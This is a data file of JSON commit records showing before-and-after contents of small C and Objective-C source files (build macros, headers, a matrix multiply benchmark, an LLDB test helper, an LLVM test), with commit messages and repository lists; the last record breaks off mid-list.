{"commit":"1a16a79939e53044d07009bc746cfe9a08e878d4","old_file":"IA32ABI\/xabicc.c","new_file":"IA32ABI\/xabicc.c","old_contents":"\/*\n *  xabicc.c - platform-agnostic root for ALien call-outs and callbacks.\n *\n * Support for Call-outs and Call-backs from the IA32ABI Plugin.\n * The plgin is misnamed.  It should be the AlienPlugin, but its history\n * dictates otherwise.\n *\/\n#if i386|i486|i586|i686\n# include \"ia32abicc.c\"\n#elif powerpc|ppc\n# include \"ppcia32abicc.c\"\n#elif x86_64|x64\n# include \"x64ia32abicc.o\"\n#endif\n","new_contents":"\/*\n *  xabicc.c - platform-agnostic root for ALien call-outs and callbacks.\n *\n * Support for Call-outs and Call-backs from the IA32ABI Plugin.\n * The plgin is misnamed.  It should be the AlienPlugin, but its history\n * dictates otherwise.\n *\/\n#if i386|i486|i586|i686\n# include \"ia32abicc.c\"\n#elif powerpc|ppc\n# include \"ppcia32abicc.c\"\n#elif x86_64|x64|__x86_64|__x86_64__\n# include \"x64ia32abicc.c\"\n#endif\n","subject":"Make the list of x64 processor names inclusive enough to compile the Alien plugin on 64-bit linux.","message":"Make the list of x64 processor names inclusive enough to compile the Alien\nplugin on 64-bit linux.\n\n\ngit-svn-id: http:\/\/squeakvm.org\/svn\/squeak\/trunk@3237 fa1542d4-bde8-0310-ad64-8ed1123d492a\n\nFormer-commit-id: 600bd5e36821553d6b9391d8bbd8d75d4ad10a85","lang":"C","license":"mit","repos":"timfel\/squeakvm,timfel\/squeakvm,timfel\/squeakvm,bencoman\/pharo-vm,peteruhnak\/pharo-vm,timfel\/squeakvm,bencoman\/pharo-vm,peteruhnak\/pharo-vm,bencoman\/pharo-vm,timfel\/squeakvm,bencoman\/pharo-vm,timfel\/squeakvm,timfel\/squeakvm,bencoman\/pharo-vm,timfel\/squeakvm,bencoman\/pharo-vm,peteruhnak\/pharo-vm,OpenSmalltalk\/vm,OpenSmalltalk\/vm,peteruhnak\/pharo-vm,OpenSmalltalk\/vm,peteruhnak\/pharo-vm,OpenSmalltalk\/vm,bencoman\/pharo-vm,bencoman\/pharo-vm,OpenSmalltalk\/vm,peteruhnak\/pharo-vm,peteruhnak\/pharo-vm,peteruhnak\/pharo-vm,bencoman\/pharo-vm,OpenSmalltalk\/vm,OpenSmalltalk\/vm,OpenSmalltalk\/vm"}
{"commit":"03aa0b50b157b97af1dbaf93461c4941bc0bbfaa","old_file":"benchs\/MatMulC.c","new_file":"benchs\/MatMulC.c","old_contents":"#include <stdlib.h>\n#include \"MatMulC.h\"\n\nvoid MatMulC(int rows, int len, double *a, double *b, double *c)\n{\n  int i,j,k;\n\n  for( i = 0; i < rows; i++ ) {\n    for( j = 0; j < rows; j+=2 ) {\n      double sum0 = 0.0;\n      double sum1 = 0.0;\n      for( k = 0; k < rows; k++ ) {\n        sum0 += a[i*rows+k] * b[k*rows + j];\n        sum1 += a[i*rows+k] * b[k*rows + j + 1];\n      }\n      c[i*rows + j] = sum0;\n      c[i*rows + j+1] = sum1;\n    }\n  }\n}\n","new_contents":"#include <stdlib.h>\n#include \"MatMulC.h\"\n\nvoid MatMulC(int rows, int len, double *a, double *bin, double *c)\n{\n  int i,j,k;\n  double *b = malloc(len * sizeof(double));\n\n  \/\/ Transpose bin with result in b.\n  for(int n = 0; n < len; n++ ) {\n    b[n] = bin[rows * (n % rows) + (n \/ rows)];\n  }\n\n  for( i = 0; i < rows; i++ ) {\n    for( j = 0; j < rows; j+=2 ) {\n      double sum0 = 0.0;\n      double sum1 = 0.0;\n      for( k = 0; k < rows; k++ ) {\n        sum0 += a[i*rows+k] * b[j*rows + k];\n        sum1 += a[i*rows+k] * b[(j + 1)*rows + k];\n      }\n      c[i*rows + j] = sum0;\n      c[i*rows + j+1] = sum1;\n    }\n  }\n\n  free(b);\n}\n","subject":"Transpose the second matrix in the C reference for MatMul.","message":"Transpose the second matrix in the C reference for MatMul.\n","lang":"C","license":"bsd-3-clause","repos":"emwap\/feldspar-compiler,emwap\/feldspar-compiler"}
{"commit":"45fb9eb248df779c8fa845dac32bcafd2c129d40","old_file":"include\/LinearLayout.h","new_file":"include\/LinearLayout.h","old_contents":"#ifndef _LINEARLAYOUT_H_\n#define _LINEARLAYOUT_H_\n\n#include <Element.h>\n#include <Command.h>\n\n#define FW_VERTICAL\t1\n#define FW_HORIZONTAL\t2\n\nclass LinearLayout : public Element {\n public:\n  LinearLayout(int _direction, int _id) : Element(_id), direction(_direction) { }\n\n\n  bool isA(const std::string & className) override {\n    if (className == \"LinearLayout\") return true;\n    return Element::isA(className);\n  }\n\n protected:\n  void create() override {\n    Command c(Command::CREATE_LINEAR_LAYOUT, getParentInternalId(), getInternalId());\n    c.setValue(direction);\n    sendCommand(c);\n  }\n\t\t\t       \n private:\n  int direction = FW_VERTICAL;\n};\n\n#endif\n","new_contents":"#ifndef _LINEARLAYOUT_H_\n#define _LINEARLAYOUT_H_\n\n#include <Element.h>\n#include <Command.h>\n\n#define FW_VERTICAL\t1\n#define FW_HORIZONTAL\t2\n\nclass LinearLayout : public Element {\n public:\n  LinearLayout(int _direction, int _id = 0) : Element(_id), direction(_direction) { }\n\n\n  bool isA(const std::string & className) override {\n    if (className == \"LinearLayout\") return true;\n    return Element::isA(className);\n  }\n\n protected:\n  void create() override {\n    Command c(Command::CREATE_LINEAR_LAYOUT, getParentInternalId(), getInternalId());\n    c.setValue(direction);\n    sendCommand(c);\n  }\n\t\t\t       \n private:\n  int direction = FW_VERTICAL;\n};\n\n#endif\n","subject":"Add default value to id on constructor","message":"Add default value to id on constructor","lang":"C","license":"mit","repos":"Sometrik\/framework,Sometrik\/framework,Sometrik\/framework"}
{"commit":"e800dd51a625cadc087c40cd41fd31d68e4f52bc","old_file":"include\/scopemeasure.h","new_file":"include\/scopemeasure.h","old_contents":"#ifndef NEWSBOAT_SCOPEMEASURE_H_\n#define NEWSBOAT_SCOPEMEASURE_H_\n\n#include <sys\/time.h>\n#include <string>\n\n#include \"logger.h\"\n\nnamespace newsboat {\n\nclass ScopeMeasure {\npublic:\n\tScopeMeasure(const std::string& func, Level ll = Level::DEBUG);\n\t~ScopeMeasure();\n\tvoid stopover(const std::string& son = \"\");\n\nprivate:\n\tstruct timeval tv1, tv2;\n\tstd::string funcname;\n\tLevel lvl;\n};\n\n} \/\/ namespace newsboat\n\n#endif \/* NEWSBOAT_SCOPEMEASURE_H_ *\/\n","new_contents":"#ifndef NEWSBOAT_SCOPEMEASURE_H_\n#define NEWSBOAT_SCOPEMEASURE_H_\n\n#include <sys\/time.h>\n#include <string>\n\n#include \"logger.h\"\n\nnamespace newsboat {\n\nclass ScopeMeasure {\npublic:\n\tScopeMeasure(const std::string& func, Level ll = Level::DEBUG);\n\t~ScopeMeasure();\n\tvoid stopover(const std::string& son = \"\");\n\nprivate:\n\tstruct timeval tv1 = {}, tv2 = {};\n\tstd::string funcname;\n\tLevel lvl = Level::DEBUG;\n};\n\n} \/\/ namespace newsboat\n\n#endif \/* NEWSBOAT_SCOPEMEASURE_H_ *\/\n","subject":"Initialize all members of ScopeMeasure","message":"Initialize all members of ScopeMeasure\n\nProblem spotted by PVS Studio.\n","lang":"C","license":"mit","repos":"newsboat\/newsboat,der-lyse\/newsboat,newsboat\/newsboat,newsboat\/newsboat,der-lyse\/newsboat,newsboat\/newsboat,newsboat\/newsboat,der-lyse\/newsboat,der-lyse\/newsboat,newsboat\/newsboat,der-lyse\/newsboat,der-lyse\/newsboat,newsboat\/newsboat,der-lyse\/newsboat,newsboat\/newsboat,der-lyse\/newsboat"}
{"commit":"3b7da8cd1e2f77d73cc19533fc657ba10a80c8cd","old_file":"include\/tgbot\/export.h","new_file":"include\/tgbot\/export.h","old_contents":"#ifndef TGBOT_EXPORT_H\n#define TGBOT_EXPORT_H\n\n#ifndef TGBOT_API\n    #ifdef TGBOT_DLL\n        #if defined _WIN32 || defined __CYGWIN__\n            #define TGBOT_HELPER_DLL_IMPORT __declspec(dllimport)\n            #define TGBOT_HELPER_DLL_EXPORT __declspec(dllexport)\n        #else\n            #if __GNUC__ >= 4\n                #define TGBOT_HELPER_DLL_IMPORT __attribute__ ((visibility (\"default\")))\n                #define TGBOT_HELPER_DLL_EXPORT __attribute__ ((visibility (\"default\")))\n            #else\n                #define TGBOT_HELPER_DLL_IMPORT\n                #define TGBOT_HELPER_DLL_EXPORT\n            #endif\n        #endif\n        #ifdef TgBot_EXPORTS\n            #define TGBOT_API TGBOT_HELPER_DLL_EXPORT\n        #else\n            #define FOX_API TGBOT_HELPER_DLL_IMPORT\n        #endif\n    #else\n        #define TGBOT_API\n    #endif\n#endif\n\n#endif \/\/TGBOT_EXPORT_H\n","new_contents":"#ifndef TGBOT_EXPORT_H\n#define TGBOT_EXPORT_H\n\n#ifndef TGBOT_API\n    #ifdef TGBOT_DLL\n        #if defined _WIN32 || defined __CYGWIN__\n            #define TGBOT_HELPER_DLL_EXPORT __declspec(dllexport)\n            #define TGBOT_HELPER_DLL_IMPORT __declspec(dllimport)\n        #else\n            #if __GNUC__ >= 4\n                #define TGBOT_HELPER_DLL_EXPORT __attribute__ ((visibility (\"default\")))\n                #define TGBOT_HELPER_DLL_IMPORT __attribute__ ((visibility (\"default\")))\n            #else\n                #define TGBOT_HELPER_DLL_EXPORT\n                #define TGBOT_HELPER_DLL_IMPORT\n            #endif\n        #endif\n        #ifdef TgBot_EXPORTS\n            #define TGBOT_API TGBOT_HELPER_DLL_EXPORT\n        #else\n            #define TGBOT_API TGBOT_HELPER_DLL_IMPORT\n        #endif\n    #else\n        #define TGBOT_API\n    #endif\n#endif\n\n#endif \/\/TGBOT_EXPORT_H\n","subject":"Fix mistake FOX and reorder EXPORT\/IMPORT","message":"Fix mistake FOX and reorder EXPORT\/IMPORT\n","lang":"C","license":"mit","repos":"reo7sp\/tgbot-cpp,reo7sp\/tgbot-cpp,reo7sp\/tgbot-cpp"}
{"commit":"37b123271739ea3a8dcd9397873b9c2e9949fe6f","old_file":"packages\/Python\/lldbsuite\/test\/make\/pseudo_barrier.h","new_file":"packages\/Python\/lldbsuite\/test\/make\/pseudo_barrier.h","old_contents":"#include <atomic>\n#include <thread>\n\ntypedef std::atomic<int> pseudo_barrier_t;\n\nstatic inline void pseudo_barrier_wait(pseudo_barrier_t &barrier) {\n  --barrier;\n  while (barrier > 0)\n    std::this_thread::yield();\n}\n\nstatic inline void pseudo_barrier_init(pseudo_barrier_t &barrier, int count) {\n  barrier = count;\n}\n","new_contents":"#include <atomic>\n\n\/\/ Note that although hogging the CPU while waiting for a variable to change\n\/\/ would be terrible in production code, it's great for testing since it avoids\n\/\/ a lot of messy context switching to get multiple threads synchronized.\n\ntypedef std::atomic<int> pseudo_barrier_t;\n\n#define pseudo_barrier_wait(barrier)        \\\n    do                                      \\\n    {                                       \\\n        --(barrier);                        \\\n        while ((barrier).load() > 0)        \\\n            ;                               \\\n    } while (0)\n\n#define pseudo_barrier_init(barrier, count) \\\n    do                                      \\\n    {                                       \\\n        (barrier) = (count);                \\\n    } while (0)\n","subject":"Revert \"[test] Address TestConcurrentMany*.py flakiness on macOS\"","message":"Revert \"[test] Address TestConcurrentMany*.py flakiness on macOS\"\n\nThis reverts my change to pseudo_barrier.h which isn't necessary anymore\nafter Fred's fix to debugserver and caused TestThreadStepOut to fail.\n\ngit-svn-id: 4c4cc70b1ef44ba2b7963015e681894188cea27e@370963 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/lldb,apple\/swift-lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,apple\/swift-lldb,llvm-mirror\/lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,llvm-mirror\/lldb,apple\/swift-lldb"}
{"commit":"0db658e796e364ebbd401d03b4b14961c59da77b","old_file":"States\/StatesController+DragNDrop.h","new_file":"States\/StatesController+DragNDrop.h","old_contents":"\/\/\n\/\/  StatesController+DragNDrop.h\n\/\/  States\n\/\/\n\/\/  Created by Dmitry Rodionov on 13\/06\/16.\n\/\/  Copyright © 2016 Internals Exposed. All rights reserved.\n\/\/\n\n#import \"StatesController.h\"\n\n@interface StatesController (DragNDrop)\n\n@end\n","new_contents":"\/\/\n\/\/  StatesController+DragNDrop.h\n\/\/  States\n\/\/\n\/\/  Created by Dmitry Rodionov on 13\/06\/16.\n\/\/  Copyright © 2016 Internals Exposed. All rights reserved.\n\/\/\n\n#import \"StatesController.h\"\n\n@interface StatesController (DragNDrop)\n\n\/\/ This category implements the following NSTableViewDataSources methods:\n\n- (BOOL)tableView: (NSTableView *)tableView writeRowsWithIndexes: (NSIndexSet *)rowIndexes toPasteboard: (NSPasteboard *)pboard;\n\n- (NSDragOperation)tableView: (NSTableView *)tableView validateDrop: (id <NSDraggingInfo>)info proposedRow: (NSInteger)row proposedDropOperation: (NSTableViewDropOperation)dropOperation;\n\n- (BOOL)tableView: (NSTableView *)tableView acceptDrop: (id <NSDraggingInfo>)info row: (NSInteger)row dropOperation: (NSTableViewDropOperation)dropOperation;\n\n@end\n","subject":"Add missing header into for DragNDrop category on StatesContoller","message":"Add missing header into for DragNDrop category on StatesContoller\n","lang":"C","license":"mit","repos":"edenvidal\/States,edenvidal\/States"}
{"commit":"3a7937af55780e9b2d38ff234d8ddbda90578313","old_file":"You-GUI\/stdafx.h","new_file":"You-GUI\/stdafx.h","old_contents":"\/\/@author A0094446X\n#pragma once\n#ifndef YOU_GUI_STDAFX_H_\n#define YOU_GUI_STDAFX_H_\n#include <QtWidgets>\n#endif  \/\/ YOU_GUI_STDAFX_H_\n","new_contents":"\/\/@author A0094446X\n#pragma once\n#ifndef YOU_GUI_STDAFX_H_\n#define YOU_GUI_STDAFX_H_\n\n#include <memory>\n#include <QApplication>\n#include <QList>\n#include <QWidget>\n#include <QtWidgets>\n\n#include <boost\/date_time\/gregorian\/greg_month.hpp>\n#include <boost\/date_time\/posix_time\/posix_time.hpp>\n\n#endif  \/\/ YOU_GUI_STDAFX_H_\n","subject":"Add more files to the PCH for faster compiles.","message":"Add more files to the PCH for faster compiles.\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"e567e0d86bcabd0746ec0704ea56598d8c15d728","old_file":"Settings\/Controls\/Controls.h","new_file":"Settings\/Controls\/Controls.h","old_contents":"#pragma once\n\n#include \"Control.h\"\n\n#include \"Button.h\"\n#include \"Checkbox.h\"\n#include \"ComboBox.h\"\n#include \"Label.h\"\n#include \"ListView.h\"\n#include \"Spinner.h\"\n#include \"EditBox.h\"\n","new_contents":"#pragma once\n\n#include \"Control.h\"\n\n#include \"Button.h\"\n#include \"Checkbox.h\"\n#include \"ComboBox.h\"\n#include \"GroupBox.h\"\n#include \"Label.h\"\n#include \"ListView.h\"\n#include \"Spinner.h\"\n#include \"EditBox.h\"\n","subject":"Add groupbox to control header","message":"Add groupbox to control header\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,Soulflare3\/3RVX,Soulflare3\/3RVX,malensek\/3RVX,Soulflare3\/3RVX,malensek\/3RVX"}
{"commit":"dd487c159bb93639ce574ab2e5340be5cbf4a4d1","old_file":"test\/CFrontend\/2007-08-01-LoadStoreAlign.c","new_file":"test\/CFrontend\/2007-08-01-LoadStoreAlign.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -O3 -S -o - -emit-llvm %s | grep -c {align 1} | grep 2\n\/\/ RUN: %llvmgcc -O3 -S -o - -emit-llvm %s | llvm-as | llc\n\nstruct p {\n  char a;\n  int b;\n} __attribute__ ((packed));\n\nstruct p t = { 1, 10 };\nstruct p u;\n\nint main () {\n  int tmp = t.b;\n  u.b = tmp;\n  return tmp;\n\n}\n","subject":"Add a test for the load\/store alignment.","message":"Add a test for the load\/store alignment.\n\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@40687 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap"}
{"commit":"583acd2de697ec1f6d148755fe01df3ba97d7bfd","old_file":"nbtk\/nbtkmodule.c","new_file":"nbtk\/nbtkmodule.c","old_contents":"#include <pygobject.h>\n#include <clutter\/clutter.h>\n \nvoid pynbtk_register_classes (PyObject *d); \nvoid pynbtk_add_constants (PyObject *module, const gchar *prefix);\n\nextern PyMethodDef pynbtk_functions[];\n \nDL_EXPORT(void)\ninit_nbtk(void)\n{\n    PyObject *m, *d;\n \n    init_pygobject_check (2, 12, 0);\n \n    m = Py_InitModule (\"_nbtk\", pynbtk_functions);\n    d = PyModule_GetDict (m);\n \n    pynbtk_register_classes (d);\n    pynbtk_add_constants (m, \"NBTK_\");\n \n    if (PyErr_Occurred ()) {\n        Py_FatalError (\"can't initialise module nbtk\");\n    }\n}\n","new_contents":"#include <pygobject.h>\n#include <nbtk\/nbtk.h>\n \nvoid pynbtk_register_classes (PyObject *d); \nvoid pynbtk_add_constants (PyObject *module, const gchar *prefix);\n\nextern PyMethodDef pynbtk_functions[];\n \nstatic void\nsink_nbtkaction (GObject *object)\n{\n  if (g_object_is_floating (object))\n    g_object_ref_sink (object);\n}\n\nDL_EXPORT(void)\ninit_nbtk(void)\n{\n    PyObject *m, *d;\n \n    init_pygobject_check (2, 12, 0);\n \n    pygobject_register_sinkfunc (NBTK_TYPE_ACTION, sink_nbtkaction);\n\n    m = Py_InitModule (\"_nbtk\", pynbtk_functions);\n    d = PyModule_GetDict (m);\n \n    pynbtk_register_classes (d);\n    pynbtk_add_constants (m, \"NBTK_\");\n \n    if (PyErr_Occurred ()) {\n        Py_FatalError (\"can't initialise module nbtk\");\n    }\n}\n","subject":"Add a sink function for nbtk.Action","message":"Add a sink function for nbtk.Action\n\nNbtkAction is a GInitiallyUnowned, so we need to register a sinkfunc.\n","lang":"C","license":"lgpl-2.1","repos":"buztard\/mxpy,buztard\/mxpy,buztard\/mxpy"}
{"commit":"bd6a64a57f85933059231789ed6ec117bd1089da","old_file":"ADLivelyCollectionView.h","new_file":"ADLivelyCollectionView.h","old_contents":"\/\/\n\/\/  ADLivelyCollectionView.h\n\/\/  ADLivelyCollectionView\n\/\/\n\/\/  Created by Romain Goyet on 18\/04\/12.\n\/\/  Copyright (c) 2012 Applidium. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\nextern NSTimeInterval ADLivelyDefaultDuration;\ntypedef NSTimeInterval (^ADLivelyTransform)(CALayer * layer, float speed);\n\nextern ADLivelyTransform ADLivelyTransformCurl;\nextern ADLivelyTransform ADLivelyTransformFade;\nextern ADLivelyTransform ADLivelyTransformFan;\nextern ADLivelyTransform ADLivelyTransformFlip;\nextern ADLivelyTransform ADLivelyTransformHelix;\nextern ADLivelyTransform ADLivelyTransformTilt;\nextern ADLivelyTransform ADLivelyTransformWave;\nextern ADLivelyTransform ADLivelyTransformGrow;\n\n@interface ADLivelyCollectionView : UICollectionView <UICollectionViewDelegate, UICollectionViewDataSource> {\n    id <UICollectionViewDelegate>  _preLivelyDelegate;\n    id <UICollectionViewDataSource> _preLivelyDataSource;\n    CGPoint _lastScrollPosition;\n    CGPoint _currentScrollPosition;\n    ADLivelyTransform _transformBlock;\n}\n- (CGPoint)scrollSpeed;\n- (void)setInitialCellTransformBlock:(ADLivelyTransform)block;\n\n@property (nonatomic, assign) CGFloat speedThreshold;\n@end\n","new_contents":"\/\/\n\/\/  ADLivelyCollectionView.h\n\/\/  ADLivelyCollectionView\n\/\/\n\/\/  Created by Romain Goyet on 18\/04\/12.\n\/\/  Copyright (c) 2012 Applidium. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\nextern NSTimeInterval ADLivelyDefaultDuration;\ntypedef NSTimeInterval (^ADLivelyTransform)(CALayer * layer, float speed);\n\nextern ADLivelyTransform ADLivelyTransformCurl;\nextern ADLivelyTransform ADLivelyTransformFade;\nextern ADLivelyTransform ADLivelyTransformFan;\nextern ADLivelyTransform ADLivelyTransformFlip;\nextern ADLivelyTransform ADLivelyTransformHelix;\nextern ADLivelyTransform ADLivelyTransformTilt;\nextern ADLivelyTransform ADLivelyTransformWave;\nextern ADLivelyTransform ADLivelyTransformGrow;\n\n@interface ADLivelyCollectionView : UICollectionView <UICollectionViewDelegate, UICollectionViewDataSource> {\n    id <UICollectionViewDelegate>  _preLivelyDelegate;\n    id <UICollectionViewDataSource> _preLivelyDataSource;\n    CGPoint _lastScrollPosition;\n    CGPoint _currentScrollPosition;\n    ADLivelyTransform _transformBlock;\n}\n- (CGPoint)scrollSpeed;\n- (void)setInitialCellTransformBlock:(ADLivelyTransform)block;\n\n@property (nonatomic, assign) CGFloat speedThreshold; \/\/ optional, disables animations when exceeding this speed\n@end\n","subject":"Add comment for the speed threshold","message":"Add comment for the speed threshold\n","lang":"C","license":"bsd-3-clause","repos":"applidium\/ADLivelyCollectionView"}
{"commit":"22eb291b9dc8943094e143a71c3eac237f4a54c2","old_file":"command_mode.c","new_file":"command_mode.c","old_contents":"#include \"mode.h\"\n\n#include <stdlib.h>\n#include <string.h>\n\n#include <termbox.h>\n\n#include \"buf.h\"\n#include \"editor.h\"\n\nstatic void command_mode_key_pressed(editor_t *editor, struct tb_event *ev) {\n  char ch;\n  switch (ev->key) {\n  case TB_KEY_ESC:\n    buf_printf(editor->status, \"\");\n    editor->mode = normal_mode();\n    return;\n  case TB_KEY_BACKSPACE2:\n    buf_delete(editor->status, editor->status->len - 1, 1);\n    if (editor->status->len == 0) {\n      editor->mode = normal_mode();\n      return;\n    }\n    return;\n  case TB_KEY_ENTER: {\n    char *command = strdup(editor->status->buf + 1);\n    editor_execute_command(editor, command);\n    free(command);\n    editor->mode = normal_mode();\n    return;\n  }\n  case TB_KEY_SPACE:\n    ch = ' ';\n    break;\n  default:\n    ch = ev->ch;\n  }\n  char s[2] = {ch, '\\0'};\n  buf_insert(editor->status, s, editor->status->len);\n}\n\nstatic editing_mode_t impl = {command_mode_key_pressed};\n\nediting_mode_t *command_mode(void) {\n  return &impl;\n}\n","new_contents":"#include \"mode.h\"\n\n#include <stdlib.h>\n#include <string.h>\n\n#include <termbox.h>\n\n#include \"buf.h\"\n#include \"editor.h\"\n\n\/\/ TODO(isbadawi): Command mode needs a cursor, but modes don't affect drawing.\nstatic void command_mode_key_pressed(editor_t *editor, struct tb_event *ev) {\n  char ch;\n  switch (ev->key) {\n  case TB_KEY_ESC:\n    buf_printf(editor->status, \"\");\n    editor->mode = normal_mode();\n    return;\n  case TB_KEY_BACKSPACE2:\n    buf_delete(editor->status, editor->status->len - 1, 1);\n    if (editor->status->len == 0) {\n      editor->mode = normal_mode();\n      return;\n    }\n    return;\n  case TB_KEY_ENTER: {\n    char *command = strdup(editor->status->buf + 1);\n    editor_execute_command(editor, command);\n    free(command);\n    editor->mode = normal_mode();\n    return;\n  }\n  case TB_KEY_SPACE:\n    ch = ' ';\n    break;\n  default:\n    ch = ev->ch;\n  }\n  char s[2] = {ch, '\\0'};\n  buf_insert(editor->status, s, editor->status->len);\n}\n\nstatic editing_mode_t impl = {command_mode_key_pressed};\n\nediting_mode_t *command_mode(void) {\n  return &impl;\n}\n","subject":"Add TODO re: command mode cursor.","message":"Add TODO re: command mode cursor.\n\nThis will also be an issue for visual mode.\n","lang":"C","license":"mit","repos":"isbadawi\/badavi"}
{"commit":"ae5e1b42c06cf04a2fcf6ec78c4b028aa69791eb","old_file":"ReactiveCocoaFramework\/ReactiveCocoa\/UIActionSheet+RACSignalSupport.h","new_file":"ReactiveCocoaFramework\/ReactiveCocoa\/UIActionSheet+RACSignalSupport.h","old_contents":"\/\/\n\/\/  UIActionSheet+RACSignalSupport.h\n\/\/  ReactiveCocoa\n\/\/\n\/\/  Created by Dave Lee on 2013-06-22.\n\/\/  Copyright (c) 2013 GitHub, Inc. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@class RACDelegateProxy;\n@class RACSignal;\n\n@interface UIActionSheet (RACSignalSupport)\n\n\/\/ A delegate proxy which will be set as the receiver's delegate when any of the\n\/\/ methods in this category are used.\n@property (nonatomic, strong, readonly) RACDelegateProxy *rac_delegateProxy;\n\n\/\/ Creates a signal for button clicks on the receiver.\n\/\/\n\/\/ When this method is invoked, the receiver's `delegate` will be set to\n\/\/ the `rac_delegateProxy` if it is not already. Any existing delegate will be\n\/\/ set as the proxy's `rac_proxiedDelegate`.\n\/\/\n\/\/ Returns a signal which will send the index of the specific button clicked.\n\/\/ The signal will complete when the receiver is deallocated.\n- (RACSignal *)rac_buttonClickedSignal;\n\n@end\n","new_contents":"\/\/\n\/\/  UIActionSheet+RACSignalSupport.h\n\/\/  ReactiveCocoa\n\/\/\n\/\/  Created by Dave Lee on 2013-06-22.\n\/\/  Copyright (c) 2013 GitHub, Inc. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@class RACDelegateProxy;\n@class RACSignal;\n\n@interface UIActionSheet (RACSignalSupport)\n\n\/\/ A delegate proxy which will be set as the receiver's delegate when any of the\n\/\/ methods in this category are used.\n@property (nonatomic, strong, readonly) RACDelegateProxy *rac_delegateProxy;\n\n\/\/ Creates a signal for button clicks on the receiver.\n\/\/\n\/\/ When this method is invoked, the `rac_delegateProxy` will become the\n\/\/ receiver's delegate. Any previous delegate will become the -[RACDelegateProxy\n\/\/ rac_proxiedDelegate], so that it receives any messages that the proxy doesn't\n\/\/ know how to handle. Setting the receiver's `delegate` afterward is\n\/\/ considered undefined behavior.\n\/\/\n\/\/ Returns a signal which will send the index of the specific button clicked.\n\/\/ The signal will complete when the receiver is deallocated.\n- (RACSignal *)rac_buttonClickedSignal;\n\n@end\n","subject":"Copy documentation wording from UITextView+RACSignalSupport.h","message":"Copy documentation wording from UITextView+RACSignalSupport.h\n","lang":"C","license":"mit","repos":"buildo\/ReactiveCocoa,ioshger0125\/ReactiveCocoa,yaoxiaoyong\/ReactiveCocoa,fanghao085\/ReactiveCocoa,cstars135\/ReactiveCocoa,itschaitanya\/ReactiveCocoa,longv2go\/ReactiveCocoa,ReactiveCocoa\/ReactiveSwift,paulyoung\/ReactiveCocoa,itschaitanya\/ReactiveCocoa,Ray0218\/ReactiveCocoa,Carthage\/ReactiveCocoa,qq644531343\/ReactiveCocoa,add715\/ReactiveCocoa,Juraldinio\/ReactiveCocoa,zxq3220122\/ReactiveCocoa,BlessNeo\/ReactiveCocoa,alvinvarghese\/ReactiveCocoa,yonekawa\/ReactiveCocoa,walkingsmarts\/ReactiveCocoa,yytong\/ReactiveCocoa,isghe\/ReactiveCocoa,zhiwen1024\/ReactiveCocoa,jam891\/ReactiveCocoa,monkeydbobo\/ReactiveCocoa,ikesyo\/ReactiveCocoa,CCOOOOLL\/ReactiveCocoa,taylormoonxu\/ReactiveCocoa,cnbin\/ReactiveCocoa,llb1119\/test,bensonday\/ReactiveCocoa,sdhzwm\/ReactiveCocoa,hj3938\/ReactiveCocoa,brasbug\/ReactiveCocoa,eyu1988\/ReactiveCocoa,valleyman86\/ReactiveCocoa,windgo\/ReactiveCocoa,bscarano\/ReactiveCocoa,towik\/ReactiveCocoa,jsslai\/ReactiveCocoa,shaohung001\/ReactiveCocoa,BrooksWon\/ReactiveCocoa,GuitarPlayer-Ma\/ReactiveCocoa,sandyway\/ReactiveCocoa,tzongw\/ReactiveCocoa,huiping192\/ReactiveCocoa,zzzworm\/ReactiveCocoa,wpstarnice\/ReactiveCocoa,hoanganh6491\/ReactiveCocoa,Khan\/ReactiveCocoa,taylormoonxu\/ReactiveCocoa,fhchina\/ReactiveCocoa,xulibao\/ReactiveCocoa,libiao88\/ReactiveCocoa,zzqiltw\/ReactiveCocoa,AlanJN\/ReactiveCocoa,juliangrosshauser\/ReactiveCocoa,monkeydbobo\/ReactiveCocoa,jackywpy\/ReactiveCocoa,buildo\/ReactiveCocoa,valleyman86\/ReactiveCocoa,xumaolin\/ReactiveCocoa,itschaitanya\/ReactiveCocoa,mxxiv\/ReactiveCocoa,victorlin\/ReactiveCocoa,stupidfive\/ReactiveCocoa,msdgwzhy6\/ReactiveCocoa,bencochran\/ReactiveCocoa,longv2go\/ReactiveCocoa,OnTheWay1988\/ReactiveCocoa,swizzlr\/ReactiveCocoa,yoichitgy\/ReactiveCocoa,Remitly\/ReactiveCocoa,KJin99\/ReactiveCocoa,zhigang1992\/ReactiveCocoa,xulibao\/ReactiveCocoa,hoanganh6491\/ReactiveCocoa,windgo\/ReactiveCocoa,tipbit\/ReactiveCocoa,200895045\/ReactiveCocoa,koamac\/ReactiveCocoa,ddc391565320\/ReactiveCocoa,cogddo\/ReactiveCocoa,ztchena\/ReactiveCocoa,tonyarnold\/ReactiveCocoa,Ray0218\/ReactiveCocoa,cnbin\/ReactiveCocoa,Khan\/ReactiveCocoa,almassapargali\